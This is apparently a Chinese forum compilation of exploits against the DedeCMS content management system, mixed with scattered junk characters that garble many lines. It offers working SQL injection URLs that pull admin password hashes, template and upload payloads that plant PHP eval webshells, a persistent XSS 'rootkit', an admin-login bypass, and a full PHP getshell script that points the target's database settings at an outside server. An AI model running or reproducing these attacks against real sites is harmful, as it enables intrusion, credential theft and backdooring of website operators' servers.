dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
; r4 h. Y2 Z8 Whttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

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DedeCms v5.6 嵌入恶意代码执行漏洞
. Z8 M* [, z0 q( E" \% r6 b/ Z. Y注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
! E3 T0 K  T; Y+ _& I2 o' F5 C发表后查看或修改即可执行
, k) }( {& ^: g; R# W6 m0 M9 Ya{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
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Dede 5.6 GBK SQL注入漏洞
* g# W: i$ ~( phttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
- s; D; ^6 E3 I1 j/ n: J# W/ ^http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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( `0 L# b; P# `2 s) n& dDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
# U# `5 ?( Z5 J6 T& Y' D+ ]$ w  ?http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
- {2 Z. p7 F( D5 m9 i' uhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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& n7 P# o; I  Y* S1 z$ v2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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/ r/ W" ~! R4 S. O$ P0 }http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
1 d& z1 _( x+ k& K& v4 z" r; M#!usr/bin/php -w
<?php
6 S5 b, J3 c" [4 Y9 v% Eerror_reporting(E_ERROR);
set_time_limit(0);
% N; s5 g+ D! \. ^' x8 y; Hprint_r('
- k1 |4 i( r9 B+ Q  _DEDEcms Variable Coverage
3 A' s+ `( c  X* s6 U$ o$ iExploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv[2]==null){
$ k. `0 L" F- |' _print_r('
+---------------------------------------------------------------------------+
$ o- Z* o6 b3 |$ k& qUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
7 N; J! P3 y5 s% R" ophp '.$argv[0].' www.site.com 1 old
3 U3 h. m" k/ N5 w' e+---------------------------------------------------------------------------+
: ?( B# e/ ]0 F3 h, A( L+ p; B');
& y9 t6 q) b3 f$ {& V3 F& E9 pexit;
}
$url=$argv[1];
$aid=$argv[2];
$ C+ c  B& n+ Q& z- m$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
, k. S; f3 w6 s/ i1 JExploit Success \n";
8 a  F+ A9 L5 Y" V. ^if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

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if($aid==2)echo "
0 \! I3 n2 n4 s/ u) {% cShell:".$url."/$path/fuck.php\n" ;
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if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
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2 }" Z) J( N, t% }2 M1 z* [}else{
( o5 A  G3 r* R; ]6 ^$ Uecho "
2 ~8 l+ a% I" Y, ^Exploit Failed \n";
}
# T& l3 M. `  D$ z  i) f- d+ N4 m$ Ffunction Getshell($url,$aid,$path){
$id=$aid;
8 d( N( N0 \9 {' |( F( D% }' g0 h$host=$url;
; _! {- m  z# E# D$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
1 F% p, \, C6 n# m7 l* A  w$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$ z5 ?, J4 Q% m8 w2 ~! t6 k' ^$data .= "Host: ".$host."\r\n";
8 g" z. i8 |6 S7 I* _( g2 V$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( i& O9 x7 G# A$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
5 C1 Z& c# d0 n% L) F7 a# ?$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
: m# z$ k! x8 T8 D$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
+ h0 R* Q! O, p5 I# {, |$ock=fsockopen($host,$port);
4 N9 l: k5 Q. B8 h  O2 `' q* Yif (!$ock) {
echo "
9 M- [4 u% u; }- n: e& ZNo response from ".$host."\n";
}
+ Y2 }/ X; N9 s. s* }fwrite($ock,$data);
0 s; L6 H) P6 q. Pwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
3 f2 u+ M4 f$ h' `, sreturn $exp;
}
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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
" c' x9 N  ^( y+ W. y" `http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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把上面validate=dcug改为当前的验证码，即可直接进入网站后台

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此漏洞的前提是必须得到后台路径才能实现

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$ f4 j' @- d8 ^! }1 vDedecms织梦 标签远程文件写入漏洞
7 n: u/ Z: W0 _2 P9 J$ h. S# ^( l前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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+ Q, V2 W/ \( ~) v再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
* N$ T% K- G. B) y# f0 n  v$ Y<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
+ X; q, E5 v0 |7 V2 t+ `/ D8 L$ A<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
* e4 `. @! ~. J- T/ D, k8 F3 W& R<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
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document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
2 p* w2 s; _& J2 {+ w0 J, za{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
! _4 N+ f3 o3 ?6 |( W8 R生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
' W9 q, n* K3 y" x6 E! ~; dDedecms <= V5.6 Final模板执行漏洞
7 a# X5 s4 `7 h6 x, j" x" ]注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
( L% P7 m- I  X( G5 Auploads/userup/2/12OMX04-15A.jpg
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模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
! m/ t3 j5 x9 u, s! N5 {$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
; h, R% e5 R. w9 r! }( h@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
9 d6 A3 Z+ l* X: n3 ]<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
7 L& ?8 i$ D, B( Z. q* L  f2 d! T  U<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
* X* _# e9 s/ m: {6 _<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
+ n; T: q$ Y, u' p* Y& a, \: m<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
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<div class="postForm">
<label>标题：</label>
$ ~( k  O9 J  h$ T  f<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

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. {# p: }- h( C' G# _<label>标签TAG：</label>
2 t3 W5 e7 O% `) t  l<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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+ \$ L. _% B8 F6 z  S. G2 U" U<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
( \  ]3 ~4 x6 i0 a7 s</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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2 a/ \: s1 Q3 y' y% H. X<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
% Q! e, e. I3 C3 G  @<option value='1' class='option3' selected>hahahha</option>
8 f3 ^! A6 l% H7 N% }8 E* |</select>
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8 V$ t% h; W" s/ s) r! U' s7 \! C<label>信息摘要：</label>
1 n8 n5 D) H6 d  E+ [4 ?<textarea name="description" id="description">1111111</textarea>
; q+ Z; d; O1 ~. E# F" d(内容的简要说明)

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<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


% b+ l! i; j$ E<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
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<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

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<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
: F9 S, Z2 H9 P. r6 v+ A<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
; e+ k& H1 ~2 y2 O' ^<button class="button2 ml10" type="reset">重置</button>
</div>
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</div>

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& w- P$ b1 j7 r* u; h</form>
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0 P2 M! `" ?+ A! R提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
; w) l  O$ N0 i$ G$ L3 H即可以在plus目录下生成webshell：1.php

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& j; o$ o  F/ }8 d# Y2 H* aDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
% P+ u2 f" v' Z/ _3 b{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
/ R& H5 ^8 Z+ `8 Y  J  q* F<input type="hidden" name="aid" value="7" />
0 D& B" E( ]! u9 F: {9 Z, k7 `<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
; Q% q! j8 L8 C! w* Y, C8 H<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
/ ?7 z, a& h1 w6 S! e发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
3 `1 e) L" o9 M2 ?7 m* P. _8 q<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
! s# l0 Z0 j7 c4 }: A/ N# j<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
! D( s) O4 T% ?3 b<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
, m/ d; u0 {6 k* |) o- Y<option value='0' selected>请选择分类...</option>
# ?, m6 ^; K0 V; {$ O5 k<option value='1' class='option3' selected>aa</option></select>
" l* ?9 Q0 _: ^- T. m% u<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
7 V' ^  M# E: b% I- {2 N<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
! h% V5 V, i/ W* u6 u( h</form>

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织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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& S5 a2 r9 w4 j/ A8 ^4 c2 z织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
! j& a( O' D/ k" M& ]<html>
$ ]- _% m. n3 S3 w" ?' o<head>
3 r9 ^, Y) W& ]" e  O<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
% k" ^. `( z2 O7 z# Q6 E2 z<body style="FONT-SIZE: 9pt">
  J% v9 U" _$ V) }; x$ i/ f  q---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
) L& ?9 o5 s: a3 n7 v<input type='hidden' name='activepath' value='/data/cache/' />
% s5 h. _) k* D+ I7 \<input type='hidden' name='cfg_basedir' value='../../' />
. L4 K* L6 f  s; r- h<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
/ M, Y3 x) p6 ^! B2 L0 G+ o& }$ n<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
+ h+ p/ p' K. h* q<input type='hidden' name='f' value='form1.enclosure' />
  Z5 G+ s8 U- N9 l* R" C<input type='hidden' name='job' value='upload' />
6 M  J8 f# e7 g1 ]: [/ N<input type='hidden' name='newname' value='fly.php' />
1 m+ q3 M9 G/ FSelect U Shell <input type='file' name='uploadfile' size='25' />
8 ?, `0 Z) c+ s* \6 b8 \4 ?! `<input type='submit' name='sb1' value='确定' />
</form>
- U' |% A% m8 \<br />It's just a exp for the bug of Dedecms V55...<br />
7 G' ?1 j+ Z7 F3 `- oNeed register_globals = on...<br />
. e! z' j) N7 ~2 aFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
1 \: x! y, N. L/ x+ c</html>
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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
( j8 }. K: Y' \* h& p* x" e利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
3 p4 n% F: f9 Z  K# ^( ?  W7 C; ^http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
$ ^, B% x1 M2 f/ w( D可看见错误信息

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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
' W0 r3 T3 i" I5 eint(3) Error: Illegal double '1024e1024' value found during parsing
( C9 h* B" d* [# h5 U7 _8 ~Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


& R) a% p3 q. C<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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按确定后的看到第2步骤的信息表示文件木马上传成功.
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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
" _+ Z+ [2 d0 P, `5 mhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*